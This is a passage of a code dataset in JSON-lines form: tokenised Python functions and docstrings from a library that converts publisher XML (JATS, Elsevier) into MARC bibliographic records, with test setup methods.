'<STR_LIT>')<EOL>arxiv = '<STR_LIT>'<EOL>for tag in innerref.getElementsByTagName('<STR_LIT>'):<EOL><INDENT>if tag.getAttribute('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>if tag.hasChildNodes():<EOL><INDENT>arxiv = get_all_text(tag)<EOL><DEDENT><DEDENT><DEDENT>arxiv = format_arxiv_id(arxiv)<EOL>publisher = get_value_in_tag(innerref, '<STR_LIT>')<EOL>publisher_location = get_value_in_tag(innerref, '<STR_LIT>')<EOL>if publisher_location:<EOL><INDENT>publisher = publisher_location + '<STR_LIT>' + publisher<EOL><DEDENT>unstructured_text = []<EOL>for child in innerref.childNodes:<EOL><INDENT>if child.nodeType == child.TEXT_NODE:<EOL><INDENT>text = child.nodeValue.strip()<EOL>text = re.sub(r'<STR_LIT>', '<STR_LIT>', text).strip()<EOL>if text.startswith('<STR_LIT:U+002C>'):<EOL><INDENT>text = text[<NUM_LIT:1>:].strip()<EOL><DEDENT>if text.endswith('<STR_LIT>'):<EOL><INDENT>text = institution + \"<STR_LIT:U+0020>\" + text<EOL>institution = '<STR_LIT>'<EOL>text = text.strip()<EOL><DEDENT>elif text.endswith('<STR_LIT>'):<EOL><INDENT>text += '<STR_LIT:.>'<EOL><DEDENT>elif text.endswith('<STR_LIT>'):<EOL><INDENT>if institution:<EOL><INDENT>text += '<STR_LIT:U+0020>' + institution<EOL>institution = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>text = text[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>elif text.startswith('<STR_LIT>'):<EOL><INDENT>article_title = get_value_in_tag(innerref, '<STR_LIT>')<EOL>text = institution + \"<STR_LIT>\" + article_title + \"<STR_LIT>\"<EOL>institution = '<STR_LIT>'<EOL><DEDENT>elif text == u'<STR_LIT>':<EOL><INDENT>text = '<STR_LIT>'<EOL><DEDENT>ignore_text = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>if text.startswith('<STR_LIT>'):<EOL><INDENT>temp = re.sub(r'<STR_LIT>', '<STR_LIT>', text)<EOL>if temp:<EOL><INDENT>volume += temp<EOL><DEDENT><DEDENT>elif len(text) > <NUM_LIT:1> and text not in ignore_textand not (text.isdigit() or text[:-<NUM_LIT:1>].isdigit()):<EOL><INDENT>unstructured_text.append(text)<EOL><DEDENT><DEDENT><DEDENT>if unstructured_text:<EOL><INDENT>unstructured_text = \"<STR_LIT:U+0020>\".join(unstructured_text)<EOL><DEDENT>if ref_type == '<STR_LIT>':<EOL><INDENT>if volume and not volume.lower().startswith('<STR_LIT>'):<EOL><INDENT>volume = '<STR_LIT>' + volume<EOL><DEDENT>if volume and page:<EOL><INDENT>volume = volume + '<STR_LIT>' + page<EOL><DEDENT><DEDENT>yield ref_type, doi, authors, collaboration, journal, volume, page, year,label, arxiv, publisher, institution, unstructured_text, external_link,report_no, editors<EOL><DEDENT>", "docstring": "Retrieve the data for a reference.", "id": "f7893:c1:m1"}
{"signature": "def _add_references(self, rec):", "body": "for ref in self.document.getElementsByTagName('<STR_LIT>'):<EOL><INDENT>for ref_type, doi, authors, collaboration, journal, volume, page, year,label, arxiv, publisher, institution, unstructured_text,external_link, report_no, editors in self._get_reference(ref):<EOL><INDENT>subfields = []<EOL>if doi:<EOL><INDENT>subfields.append(('<STR_LIT:a>', doi))<EOL><DEDENT>for author in authors:<EOL><INDENT>subfields.append(('<STR_LIT:h>', author))<EOL><DEDENT>for editor in editors:<EOL><INDENT>subfields.append(('<STR_LIT:e>', editor))<EOL><DEDENT>if year:<EOL><INDENT>subfields.append(('<STR_LIT:y>', year))<EOL><DEDENT>if unstructured_text:<EOL><INDENT>if page:<EOL><INDENT>subfields.append(('<STR_LIT:m>', unstructured_text + '<STR_LIT:U+002CU+0020>' + page))<EOL><DEDENT>else:<EOL><INDENT>subfields.append(('<STR_LIT:m>', unstructured_text))<EOL><DEDENT><DEDENT>if collaboration:<EOL><INDENT>subfields.append(('<STR_LIT:c>', collaboration))<EOL><DEDENT>if institution:<EOL><INDENT>subfields.append(('<STR_LIT:m>', institution))<EOL><DEDENT>if publisher:<EOL><INDENT>subfields.append(('<STR_LIT:p>', publisher))<EOL><DEDENT>if arxiv:<EOL><INDENT>subfields.append(('<STR_LIT:r>', arxiv))<EOL><DEDENT>if report_no:<EOL><INDENT>subfields.append(('<STR_LIT:r>', report_no))<EOL><DEDENT>if external_link:<EOL><INDENT>subfields.append(('<STR_LIT:u>', external_link))<EOL><DEDENT>if label:<EOL><INDENT>subfields.append(('<STR_LIT:o>', label))<EOL><DEDENT>if ref_type == '<STR_LIT>':<EOL><INDENT>if journal:<EOL><INDENT>subfields.append(('<STR_LIT:t>', journal))<EOL><DEDENT>if volume:<EOL><INDENT>subfields.append(('<STR_LIT:m>', volume))<EOL><DEDENT>elif page and not unstructured_text:<EOL><INDENT>subfields.append(('<STR_LIT:m>', page))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if volume and page:<EOL><INDENT>subfields.append(('<STR_LIT:s>', journal + \"<STR_LIT:U+002C>\" + volume + \"<STR_LIT:U+002C>\" + page))<EOL><DEDENT>elif journal:<EOL><INDENT>subfields.append(('<STR_LIT:t>', journal))<EOL><DEDENT><DEDENT>if ref_type:<EOL><INDENT>subfields.append(('<STR_LIT:d>', ref_type))<EOL><DEDENT>if not subfields:<EOL><INDENT>try:<EOL><INDENT>r = ref.getElementsByTagName('<STR_LIT>')[<NUM_LIT:0>]<EOL>text = xml_to_text(r)<EOL>label = text.split()[<NUM_LIT:0>]<EOL>text = \"<STR_LIT:U+0020>\".join(text.split()[<NUM_LIT:1>:])<EOL>subfields.append(('<STR_LIT:s>', text))<EOL>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT:C>', ind2='<STR_LIT:5>', subfields=subfields)<EOL><DEDENT>except IndexError:<EOL><INDENT>try:<EOL><INDENT>r = ref.getElementsByTagName('<STR_LIT>')[<NUM_LIT:0>]<EOL>subfields.append(('<STR_LIT:s>', xml_to_text(r)))<EOL>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT:C>', ind2='<STR_LIT:5>', subfields=subfields)<EOL><DEDENT>except IndexError:<EOL><INDENT>subfields.append(('<STR_LIT:s>', xml_to_text(ref)))<EOL>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT:C>', ind2='<STR_LIT:5>', subfields=subfields)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT:C>', ind2='<STR_LIT:5>', subfields=subfields)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Adds the reference to the record", "id": "f7893:c1:m2"}
{"signature": "def get_record(self, xml_file):", "body": "self.document = parse(xml_file)<EOL>if get_value_in_tag(self.document, \"<STR_LIT>\"):<EOL><INDENT>raise ApsPackageXMLError(\"<STR_LIT>\"<EOL>% (xml_file,))<EOL><DEDENT>page_count = self._get_page_count()<EOL>rec = create_record()<EOL>if page_count:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', page_count)])<EOL><DEDENT>pacscodes = self._get_pacscodes()<EOL>for pacscode in pacscodes:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:2>', '<STR_LIT>'),<EOL>('<STR_LIT:a>', pacscode)])<EOL><DEDENT>subject = self._get_subject()<EOL>if subject:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT:1>', ind2='<STR_LIT>', subfields=[('<STR_LIT:2>', '<STR_LIT>'),<EOL>('<STR_LIT:a>', subject)])<EOL><DEDENT>keywords = self._get_keywords()<EOL>if keywords:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT:1>', subfields=[('<STR_LIT:a>', '<STR_LIT:U+002CU+0020>'.join(keywords)),<EOL>('<STR_LIT>', '<STR_LIT>')])<EOL><DEDENT>title, subtitle, _ = self._get_title()<EOL>subfields = []<EOL>if subtitle:<EOL><INDENT>subfields.append(('<STR_LIT:b>', subtitle))<EOL><DEDENT>if title:<EOL><INDENT>subfields.append(('<STR_LIT:a>', title))<EOL>record_add_field(rec, '<STR_LIT>', subfields=subfields)<EOL><DEDENT>journal, volume, issue, year, start_date, doi,article_id, _, _ = self._get_publication_information()<EOL>if start_date:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:c>', start_date),<EOL>('<STR_LIT:t>', '<STR_LIT>')])<EOL><DEDENT>if doi:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT>', subfields=[('<STR_LIT:a>', doi),<EOL>('<STR_LIT:2>', '<STR_LIT>')])<EOL><DEDENT>abstract = self._get_abstract()<EOL>if abstract:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', abstract),<EOL>('<STR_LIT>', '<STR_LIT>')])<EOL><DEDENT>license, license_type, license_url = self._get_license()<EOL>subfields = []<EOL>if license:<EOL><INDENT>subfields.append(('<STR_LIT:a>', license))<EOL><DEDENT>if license_url:<EOL><INDENT>subfields.append(('<STR_LIT:u>', license_url))<EOL><DEDENT>if subfields:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=subfields)<EOL><DEDENT>c_holder, c_year, c_statement = self._get_copyright()<EOL>c_holder, c_year, c_statement = self._get_copyright()<EOL>if c_holder and c_year:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:d>', c_holder),<EOL>('<STR_LIT:g>', c_year),<EOL>('<STR_LIT:e>', '<STR_LIT>')])<EOL><DEDENT>elif c_statement:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:f>', c_statement),<EOL>('<STR_LIT:e>', '<STR_LIT>')])<EOL><DEDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:p>', journal),<EOL>('<STR_LIT:v>', volume),<EOL>('<STR_LIT:n>', issue),<EOL>('<STR_LIT:y>', year),<EOL>('<STR_LIT:c>', article_id)])<EOL>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', '<STR_LIT>')])<EOL>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', '<STR_LIT>')])<EOL>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', '<STR_LIT>')])<EOL>self._add_authors(rec)<EOL>self._add_references(rec)<EOL>try:<EOL><INDENT>return record_xml_output(rec)<EOL><DEDENT>except UnicodeDecodeError:<EOL><INDENT>sys.stderr.write(\"\"\"<STR_LIT>\"\"\" + doi)<EOL>return \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Reads a xml file in JATS format and returns\n            a xml string in marc format", "id": "f7893:c1:m3"}
{"signature": "def setUp(self):", "body": "self.els = ElsevierPackage(no_harvest=True)<EOL>self.document = parse(pkg_resources.resource_filename(<EOL>'<STR_LIT>',<EOL>os.path.join('<STR_LIT:data>', '<STR_LIT>')<EOL>))<EOL>self.document540 = parse(pkg_resources.resource_filename(<EOL>'<STR_LIT>',<EOL>os.path.join('<STR_LIT:data>', '<STR_LIT>')<EOL>))<EOL>", "docstring": "Setup initial document.", "id": "f7899:c0:m0"}
{"signature": "def setUp(self):", "body": "self.pos = PosPackage()<EOL>sample_filepath = pkg_resources.resource_filename(<EOL>'<STR_LIT>',<EOL>os.path.join('<STR_LIT:data>', '<STR_LIT>')<EOL>)<EOL>self.pos.document = parse(sample_filepath)<EOL>", "docstring": "Setup test.", "id": "f7901:c0:m0"}
{"signature": "def setUp(self):", "body": "self.inspire_demo_data_path_oai = pkg_resources.resource_filename(<EOL>'<STR_LIT>',<EOL>os.path.join('<STR_LIT:data>', '<STR_LIT>')<EOL>)<EOL>self.inspire_demo_data_path = pkg_resources.resource_filename(<EOL>'<STR_LIT>',<EOL>os.path.join('<STR_LIT:data>', '<STR_LIT>')<EOL>)<EOL>", "docstring": "Load demo data.", "id": "f7904:c0:m0"}
{"signature": "def setUp(self):", "body": "from harvestingkit.bibrecord import BibRecordPackage<EOL>from harvestingkit.inspire_cds_package.from_inspire import Inspire2CDS<EOL>self.inspire_demo_data_path = pkg_resources.resource_filename(<EOL>'<STR_LIT>',<EOL>os.path.join('<STR_LIT:data>', '<STR_LIT>')<EOL>)<EOL>bibrecs = BibRecordPackage(self.inspire_demo_data_path)<EOL>bibrecs.parse()<EOL>self.parsed_record = bibrecs.get_records()[<NUM_LIT:0>]<EOL>self.package = Inspire2CDS(self.parsed_record)<EOL>self.recid = self.package.get_recid()<EOL>self.converted_record = self.package.get_record()<EOL>", "docstring": "Load demo data.", "id": "f7904:c1:m0"}
{"signature": "def setUp(self):", "body": "from harvestingkit.bibrecord import BibRecordPackage<EOL>from harvestingkit.inspire_cds_package.from_inspire import Inspire2CDS<EOL>self.inspire_demo_data_path = pkg_resources.resource_filename(<EOL>'<STR_LIT>',<EOL>os.path.join('<STR_LIT:data>', '<STR_LIT>')<EOL>)<EOL>bibrecs = BibRecordPackage(self.inspire_demo_data_path)<EOL>bibrecs.parse()<EOL>self.parsed_record = bibrecs.get_records()[<NUM_LIT:0>]<EOL>self.package = Inspire2CDS(self.parsed_record)<EOL>self.recid = self.package.get_recid()<EOL>self.converted_record = self.package.get_record()<EOL>", "docstring": "Load demo data.", "id": "f7904:c2:m0"}
{"signature": "def setUp(self):", "body": "from harvestingkit.bibrecord import BibRecordPackage<EOL>from harvestingkit.inspire_cds_package.from_inspire import Inspire2CDS<EOL>self.inspire_conf_demo_data_path = pkg_resources.resource_filename(<EOL>'<STR_LIT>',<EOL>os.path.join('<STR_LIT:data>', '<STR_LIT>')<EOL>)<EOL>bibrecs = BibRecordPackage(self.inspire_conf_demo_data_path)<EOL>bibrecs.parse()<EOL>self.parsed_record = bibrecs.get_records()[<NUM_LIT:0>]<EOL>self.package = Inspire2CDS(self.parsed_record)<EOL>self.recid = self.package.get_recid()<EOL>self.converted_record = self.package.get_record()<EOL>", "docstring": "Load demo data.", "id": "f7904:c3:m0"}
{"signature": "def setUp(self):", "body": "from harvestingkit.bibrecord import BibRecordPackage<EOL>from harvestingkit.inspire_cds_package.from_inspire import Inspire2CDS<EOL>self.inspire_demo_data_path = pkg_resources.resource_filename(<EOL>'<STR_LIT>',<EOL>os.path.join('<STR_LIT:data>', '<STR_LIT>')<EOL>)<EOL>bibrecs = BibRecordPackage(self.inspire_demo_data_path)<EOL>bibrecs.parse()<EOL>parsed_record = bibrecs.get_records()[<NUM_LIT:1>]<EOL>self.package = Inspire2CDS(parsed_record)<EOL>self.recid = self.package.get_recid()<EOL>self.converted_record = self.package.get_record()<EOL>", "docstring": "Load demo data.", "id": "f7904:c4:m0"}
{"signature": "def setUp(self):", "body": "self.aps = ApsPackage(journal_mappings)<EOL>self.aps.document = parse(join(dirname(folder), aps_test_record))<EOL>", "docstring": "Setup sample parsing used in tests.", "id": "f7905:c0:m0"}
{"signature": "def setUp(self):", "body": "self.els = ElsevierPackage(CONSYN=True,<EOL>journal_mappings=journal_mappings)<EOL>self.document = parse(pkg_resources.resource_filename(<EOL>'<STR_LIT>',<EOL>os.path.join('<STR_LIT:data>', '<STR_LIT>')<EOL>))<EOL>", "docstring": "Setup initial document.", "id": "f7906:c0:m0"}
{"signature": "def setUp(self):", "body": "xmltext = pkg_resources.resource_string('<STR_LIT>',<EOL>os.path.join('<STR_LIT:data>', '<STR_LIT>'))<EOL>self.recs = [rec[<NUM_LIT:0>] for rec in bibrecord.create_records(xmltext)]<EOL>", "docstring": "Initialize stuff", "id": "f7907:c0:m0"}
{"signature": "def setUp(self):", "body": "self.xmltext = \"\"\"<STR_LIT>\"\"\"<EOL>self.expected_record = {<EOL>'<STR_LIT>': [([], '<STR_LIT:U+0020>', '<STR_LIT:U+0020>', '<STR_LIT>', <NUM_LIT:1>)],<EOL>'<STR_LIT>': [([('<STR_LIT:a>', '<STR_LIT>')], '<STR_LIT:U+0020>', '<STR_LIT:U+0020>', '<STR_LIT>', <NUM_LIT:2>)]<EOL>}<EOL>", "docstring": "Initialize stuff", "id": "f7907:c1:m0"}
{"signature": "def setUp(self):", "body": "self.xml_example_record = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec = bibrecord.create_record(self.xml_example_record, <NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "Initialize stuff", "id": "f7907:c4:m0"}
{"signature": "def setUp(self):", "body": "xml_example_record = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec = bibrecord.create_record(xml_example_record, <NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "Initialize stuff", "id": "f7907:c5:m0"}
{"signature": "def setUp(self):", "body": "xml_example_record = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec = bibrecord.create_record(xml_example_record, <NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "Initialize stuff", "id": "f7907:c6:m0"}
{"signature": "def setUp(self):", "body": "xml_example_record = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec = bibrecord.create_record(xml_example_record, <NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "Initialize stuff", "id": "f7907:c7:m0"}
{"signature": "def setUp(self):", "body": "xml_example_record = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec = bibrecord.create_record(xml_example_record, <NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "Initialize stuff", "id": "f7907:c8:m0"}
{"signature": "def setUp(self):", "body": "xml_example_record = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec = bibrecord.create_record(xml_example_record, <NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>xml_example_record_empty = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec_empty = bibrecord.create_record(xml_example_record_empty, <NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "Initialize stuff", "id": "f7907:c9:m0"}
{"signature": "def setUp(self):", "body": "xml_example_record = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec = bibrecord.create_record(xml_example_record, <NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "Initialize stuff", "id": "f7907:c10:m0"}
{"signature": "def setUp(self):", "body": "xml_example_record = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec = bibrecord.create_record(xml_example_record, <NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "Initialize stuff", "id": "f7907:c11:m0"}
{"signature": "def setUp(self):", "body": "xml_example_record = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec = bibrecord.create_record(xml_example_record, <NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "Initialize stuff", "id": "f7907:c12:m0"}
{"signature": "def setUp(self):", "body": "xml_example_record = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec = bibrecord.create_record(xml_example_record, <NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "Initialize stuff", "id": "f7907:c13:m0"}
{"signature": "def setUp(self):", "body": "xml_example_record = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec = bibrecord.create_record(xml_example_record, <NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "Initialize stuff", "id": "f7907:c14:m0"}
{"signature": "def setUp(self):", "body": "self.xml_example_record = \"\"\"<STR_LIT>\"\"\"<EOL>", "docstring": "Initialize stuff", "id": "f7907:c15:m0"}
{"signature": "def setUp(self):", "body": "xml_example_record = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec = bibrecord.create_record(xml_example_record, <NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "Initialize stuff", "id": "f7907:c16:m0"}
{"signature": "def setUp(self):", "body": "xml_example_record = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec = bibrecord.create_record(xml_example_record, <NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>self._func = bibrecord.record_match_subfields<EOL>", "docstring": "Initialize stuff", "id": "f7907:c17:m0"}
{"signature": "def setUp(self):", "body": "self.xml_example_record_with_fmt = \"\"\"<STR_LIT>\"\"\"<EOL>self.xml_example_record_with_fft = \"\"\"<STR_LIT>\"\"\"<EOL>self.xml_example_record_with_xyz = \"\"\"<STR_LIT>\"\"\"<EOL>", "docstring": "setting up example records", "id": "f7907:c18:m0"}
{"signature": "def setUp(self):", "body": "self.xml_example_record = \"\"\"<STR_LIT>\"\"\"<EOL>self.xml_example_record_short = \"\"\"<STR_LIT>\"\"\"<EOL>self.xml_example_multi_records = \"\"\"<STR_LIT>\"\"\"<EOL>self.xml_example_multi_records_short = \"\"\"<STR_LIT>\"\"\"<EOL>", "docstring": "Initialize stuff", "id": "f7907:c19:m0"}
{"signature": "def setUp(self):", "body": "xml = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec = bibrecord.create_record(xml)[<NUM_LIT:0>]<EOL>self.field0 = self.rec['<STR_LIT>'][<NUM_LIT:0>]<EOL>self.field1 = self.rec['<STR_LIT>'][<NUM_LIT:0>]<EOL>self.field2 = (<EOL>[self.field1[<NUM_LIT:0>][<NUM_LIT:1>], self.field1[<NUM_LIT:0>][<NUM_LIT:0>]],<EOL>self.field1[<NUM_LIT:1>],<EOL>self.field1[<NUM_LIT:2>],<EOL>self.field1[<NUM_LIT:3>],<EOL>self.field1[<NUM_LIT:4>],<EOL>)<EOL>", "docstring": "Initialize stuff", "id": "f7907:c21:m0"}
{"signature": "def setUp(self):", "body": "self.xml = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec_expected = {<EOL>'<STR_LIT>': [([], '<STR_LIT:U+0020>', '<STR_LIT:U+0020>', '<STR_LIT>', <NUM_LIT:1>)],<EOL>'<STR_LIT:100>': [([('<STR_LIT:a>', '<STR_LIT>')], '<STR_LIT:U+0020>', '<STR_LIT:U+0020>', '<STR_LIT>', <NUM_LIT:2>)],<EOL>}<EOL>", "docstring": "Initialize stuff", "id": "f7907:c22:m0"}
{"signature": "def setUp(self):", "body": "self.xml = \"\"\"<STR_LIT>\"\"\"<EOL>self.rec_expected = {<EOL>'<STR_LIT>': [([], '<STR_LIT:U+0020>', '<STR_LIT:U+0020>', '<STR_LIT>', <NUM_LIT:1>)],<EOL>'<STR_LIT>': [([('<STR_LIT:a>', '<STR_LIT>'), ('<STR_LIT:a>', '<STR_LIT>'),], '<STR_LIT:U+0020>', '<STR_LIT:U+0020>', '<STR_LIT>', <NUM_LIT:2>)],<EOL>}<EOL>", "docstring": "Initialize stuff", "id": "f7907:c23:m0"}
{"signature": "def setUp(self):", "body": "from harvestingkit.bibrecord import CFG_BIBUPLOAD_EXTERNAL_OAIID_TAG<EOL>xml_example_record = \"\"\"<STR_LIT>\"\"\" % {'<STR_LIT>': CFG_BIBUPLOAD_EXTERNAL_OAIID_TAG[<NUM_LIT:0>:<NUM_LIT:3>],<EOL>'<STR_LIT>': CFG_BIBUPLOAD_EXTERNAL_OAIID_TAG[<NUM_LIT:3>],<EOL>'<STR_LIT>': CFG_BIBUPLOAD_EXTERNAL_OAIID_TAG[<NUM_LIT:4>],<EOL>'<STR_LIT>': CFG_BIBUPLOAD_EXTERNAL_OAIID_TAG[<NUM_LIT:5>],<EOL>}<EOL>self.rec = bibrecord.create_record(xml_example_record, <NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "Initialize stuff", "id": "f7907:c24:m0"}
{"signature": "def _extract_package(self):", "body": "self.path = mkdtemp(prefix=\"<STR_LIT>\", dir=CFG_TMPSHAREDDIR)<EOL>self.logger.debug(\"<STR_LIT>\" % (self.package_name,))<EOL>scoap3utils_extract_package(self.package_name, self.path, self.logger)<EOL>", "docstring": "Extract a package in a new temporary directory.", "id": "f7908:c0:m1"}
{"signature": "def _crawl_elsevier_and_find_main_xml(self):", "body": "self.found_articles = []<EOL>if not self.path and not self.package_name:<EOL><INDENT>for doc in self.conn.found_articles:<EOL><INDENT>dirname = doc['<STR_LIT>'].rstrip('<STR_LIT>')<EOL>try:<EOL><INDENT>self._normalize_article_dir_with_dtd(dirname)<EOL>self.found_articles.append(dirname)<EOL><DEDENT>except Exception as err:<EOL><INDENT>register_exception()<EOL>print(\"<STR_LIT>\" % (dirname, err))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>def visit(dummy, dirname, names):<EOL><INDENT>if \"<STR_LIT>\" in names and \"<STR_LIT>\" in names:<EOL><INDENT>try:<EOL><INDENT>self._normalize_article_dir_with_dtd(dirname)<EOL>self.found_articles.append(dirname)<EOL><DEDENT>except Exception as err:<EOL><INDENT>register_exception()<EOL>print(\"<STR_LIT>\" % (dirname, err))<EOL><DEDENT><DEDENT><DEDENT>walk(self.path, visit, None)<EOL><DEDENT>", "docstring": "A package contains several subdirectory corresponding to each article.\nAn article is actually identified by the existence of a main.pdf and\na main.xml in a given directory.", "id": "f7908:c0:m2"}
{"signature": "def _crawl_elsevier_and_find_issue_xml(self):", "body": "self._found_issues = []<EOL>if not self.path and not self.package_name:<EOL><INDENT>for issue in self.conn._get_issues():<EOL><INDENT>dirname = issue.rstrip('<STR_LIT>')<EOL>try:<EOL><INDENT>self._normalize_issue_dir_with_dtd(dirname)<EOL>self._found_issues.append(dirname)<EOL><DEDENT>except Exception as err:<EOL><INDENT>register_exception()<EOL>print(\"<STR_LIT>\" % (dirname, err))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>def visit(dummy, dirname, names):<EOL><INDENT>if \"<STR_LIT>\" in names:<EOL><INDENT>try:<EOL><INDENT>self._normalize_issue_dir_with_dtd(dirname)<EOL>self._found_issues.append(dirname)<EOL><DEDENT>except Exception as err:<EOL><INDENT>register_exception()<EOL>print(\"<STR_LIT>\"<EOL>% (dirname, err))<EOL><DEDENT><DEDENT><DEDENT>walk(self.path, visit, None)<EOL><DEDENT>", "docstring": "Information about the current volume, issue, etc. is available\nin a file called issue.xml that is available in a higher directory.", "id": "f7908:c0:m3"}
{"signature": "def _normalize_issue_dir_with_dtd(self, path):", "body": "if exists(join(path, '<STR_LIT>')):<EOL><INDENT>return<EOL><DEDENT>issue_xml_content = open(join(path, '<STR_LIT>')).read()<EOL>sis = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>tmp_extracted = <NUM_LIT:0><EOL>for si in sis:<EOL><INDENT>if si in issue_xml_content:<EOL><INDENT>self._extract_correct_dtd_package(si.split('<STR_LIT:.>')[<NUM_LIT:0>], path)<EOL>tmp_extracted = <NUM_LIT:1><EOL><DEDENT><DEDENT>if not tmp_extracted:<EOL><INDENT>message = \"<STR_LIT>\" + path<EOL>message += \"<STR_LIT>\"<EOL>self.logger.error(message)<EOL>raise ValueError(message)<EOL><DEDENT>command = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>join(path, '<STR_LIT>'),<EOL>\"<STR_LIT>\", join(path, '<STR_LIT>')]<EOL>dummy, dummy, cmd_err = run_shell_command(command)<EOL>if cmd_err:<EOL><INDENT>message = \"<STR_LIT>\" % (<EOL>join(path, '<STR_LIT>'), cmd_err)<EOL>self.logger.error(message)<EOL>raise ValueError(message)<EOL><DEDENT>", "docstring": "issue.xml from Elsevier assume the existence of a local DTD.\nThis procedure install the DTDs next to the issue.xml file\nand normalize it using xmllint in order to resolve all namespaces\nand references.", "id": "f7908:c0:m5"}
{"signature": "def _normalize_article_dir_with_dtd(self, path):", "body": "if exists(join(path, '<STR_LIT>')):<EOL><INDENT>return<EOL><DEDENT>main_xml_content = open(join(path, '<STR_LIT>')).read()<EOL>arts = ['<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>']<EOL>tmp_extracted = <NUM_LIT:0><EOL>for art in arts:<EOL><INDENT>if art in main_xml_content:<EOL><INDENT>self._extract_correct_dtd_package(art.split('<STR_LIT:.>')[<NUM_LIT:0>], path)<EOL>tmp_extracted = <NUM_LIT:1><EOL><DEDENT><DEDENT>if not tmp_extracted:<EOL><INDENT>message = \"<STR_LIT>\" + path<EOL>message += \"<STR_LIT>\"<EOL>self.logger.error(message)<EOL>raise ValueError(message)<EOL><DEDENT>command = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>join(path, '<STR_LIT>'),<EOL>\"<STR_LIT>\", join(path, '<STR_LIT>')]<EOL>dummy, dummy, cmd_err = run_shell_command(command)<EOL>if cmd_err:<EOL><INDENT>message = \"<STR_LIT>\" % (<EOL>join(path, '<STR_LIT>'), cmd_err)<EOL>self.logger.error(message)<EOL>raise ValueError(message)<EOL><DEDENT>", "docstring": "main.xml from Elsevier assume the existence of a local DTD.\nThis procedure install the DTDs next to the main.xml file\nand normalize it using xmllint in order to resolve all namespaces\nand references.", "id": "f7908:c0:m6"}
